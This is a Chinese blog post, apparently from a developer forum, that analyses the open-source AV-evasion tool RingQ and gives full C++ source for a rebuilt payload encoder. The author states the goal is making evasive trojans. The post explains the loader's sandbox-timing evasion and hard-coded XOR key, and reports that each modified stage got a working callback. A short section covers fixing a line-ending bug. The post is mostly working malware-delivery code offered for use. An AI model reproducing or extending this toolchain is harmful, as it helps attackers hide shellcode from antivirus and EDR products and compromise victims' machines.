对免杀木马RingQ的分析、代码附在文中

起因:

然后最近想找一些开源的免杀项目生成免杀马,就想起了这个项目

GitHub - T4y1oR/RingQ: 一款后渗透免杀工具,助力每一位像我这样的脚本小子快速实现免杀,支持bypass AV/EDR 360 火绒 Windows Defender Shellcode Loader

该项目原理是先用create.exe将shellcode\exe转换成main.txt,然后用RingQ.exe加载main.txt进行上线。

因为RingQ.exe是开源的,因此分析RingQ.exe的代码

这里用到反沙箱,因为沙箱可能会跳过line257的sleep,通过这种方式规避沙箱。

然后用xor解密,key是520520,然后直接写入内存执行了。

todo:

0.大概了解ringq: 520520xor加密 精确时间反沙箱

1.测试原版 create.exe +ringq.exe 能否上线 :可以

2.原版create.exe生成的main.txt +ringq代码 :可以上线,说明ringq源代码没问题

3.替换create.exe +ringq代码 :可以上线

4.修改ringq内容,进一步免杀

bin->main.txt->ringq.exe

我们可以在原版基础上修改得到替代create.exe:

#include <iostream>
#include <fstream>
#include <string>
#include <vector>
#include <windows.h>
#include <chrono>
#include <thread>
#include <random>
#include <algorithm>
#include <numeric>
#include <functional>
#include <wininet.h>
#pragma comment(lib, "wininet.lib")
#include <sstream>
using namespace std;

void bubbleSort(int arr[], int n) {
    for (int i = 0; i < n - 1; i++) {
        for (int j = 0; j < n - i - 1; j++) {
            if (arr[j] > arr[j + 1]) {
                int k = arr[j];
                arr[j] = arr[j + 1];
                arr[j + 1] = k;
            }
        }
    }
}
void generateAndSortArray() {
    std::srand(std::time(0));

    const int ARRAY_SIZE = 100;
    int huaarr[ARRAY_SIZE];
    for (int i = 0; i < ARRAY_SIZE; i++) {
        huaarr[i] = std::rand() % 1000;
    }

    bubbleSort(huaarr, ARRAY_SIZE);

    for (int i = 0; i < ARRAY_SIZE; i++) {
    }
}
std::string xorDecrypt(const std::string& data, const std::string& key) {

    std::string decryptedData;
    for (std::size_t i = 0; i < data.length(); ++i) {
        decryptedData += data[i] ^ key[i % key.length()];
    }
    return decryptedData;
}

void banner() {
    cout << "_____________               _______  " << endl;
    cout << "___  __ \\__(_)_____________ __  __ \\ " << endl;;
    cout << "__  /_/ /_  /__  __ \\_  __ `/  / / / " << endl;
    cout << "_  _, _/_  / _  / / /  /_/ // /_/ /  " << endl;
    cout << "/_/ |_| /_/  /_/ /_/_\\__, / \\___\\_\\  " << endl;
    cout << "                    /____/           " << endl;

    std::string str1 = "T";
    std::string str2 = "4";
    std::string str3 = "y";
    std::string str4 = "1";
    std::string str5 = "o";
    std::string str6 = "R";
    std::string str7 = "/";
    std::string str8 = "R";
    std::string str9 = "i";
    std::string str10 = "n";
    std::string str11 = "g";
    std::string str12 = "Q";
    std::cout << "Github: https://github.com/" << str1 + str2 + str3 + str4 + str5 + str6 + str7 + str8 + str9 + str10 + str11 + str12 << std::endl;
}

bool isFileExists(const std::string& file_path) {
    std::ifstream file(file_path);
    return file.good();
}



void RingQ(const std::string& file_path) {
    //创建一个 std::ifstream 对象名为 input_file ; std::ios::binary 指定以二进制模式打开文件
    std::ifstream input_file(file_path, std::ios::binary);
    //异常处理
    if (!input_file) {
        std::cout << "Failed to open file!" << std::endl;
        return;
    }
    /*创建一个名为 encrypted_data 的 std::string 对象
        使用 std::istreambuf_iterator 来读取文件内容
        std::istreambuf_iterator<char>(input_file) 创建一个迭代器,指向文件开始
        std::istreambuf_iterator<char>() 创建一个表示结束的迭代器
        这行代码会读取 input_file 中的所有字符,直到文件结束,并将其存储在 encrypted_data 字符串中*/
    std::string encrypted_data((std::istreambuf_iterator<char>(input_file)), std::istreambuf_iterator<char>());
    input_file.close();

    //auto start_time = std::chrono::high_resolution_clock::now();
    //std::this_thread::sleep_for(std::chrono::milliseconds(2000));
    //auto end_time = std::chrono::high_resolution_clock::now();

    //auto elapsed_time = std::chrono::duration_cast<std::chrono::milliseconds>(end_time - start_time);
    //int time_diff = elapsed_time.count();//应该为2000,沙箱跳过延时可能为0

    //int demo = 520521;
    //int diff = demo - time_diff; //518521-520521


    int i = 300;
    while (i--) {
        //这里是反沙箱
        int randomValue = 520520; //decryptKey(diff, 1900, 2200);

        if (520519 < randomValue && randomValue < 520521) {

            std::string randomkey = std::to_string(randomValue); //520520

            std::string decrypted_data = xorDecrypt(encrypted_data, randomkey);
            const unsigned char* byte_sequence = reinterpret_cast<const unsigned char*>(decrypted_data.c_str());
            //size_t byte_sequence_length = decrypted_data.length();
            //std::cout << decrypted_data << std::endl;
            //std::cout << "lzt" << std::endl;
            
         
            std::string filename = "main.txt";

            // 创建输出文件流
            //std::ofstream outFile(filename);

            // 以二进制模式打开文件
            std::ofstream outFile(filename, std::ios::binary);

            // 检查文件是否成功打开
            if (outFile.is_open()) {
                // 将数据写入文件
                outFile << decrypted_data;

                // 关闭文件
                outFile.close();

                std::cout << "数据已成功写入 main.txt" << filename << std::endl;
            }
            else {
                std::cerr << "无法打开文件 " << filename << std::endl;
                
            }


        }break;

    }
}


int main() {

    //打印banner
    banner();
    generateAndSortArray();

    std::string file_path = "payload_x64_0708.bin";

    if (isFileExists(file_path)) {
        cout << "Loading Dir payload_x64_0708.bin ..." << endl;
        RingQ(file_path);

        return 0;
    }
}

中间遇到的bug:

发现无法上线,调试

发现执行shellcodeFunc();的时候

报错

先用hxd比较,不太好用,

下载beyond compare 比较发现多了很多 0D

进一步发现,所有0d0a的地方,自己生成的是0d0a,原版生成的是0a

自己生成的是CRLF,原版生成的是LF

改为:

// 以二进制模式打开文件 
std::ofstream outFile(filename, std::ios::binary);

发现生成的一致

能够正常上线。

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值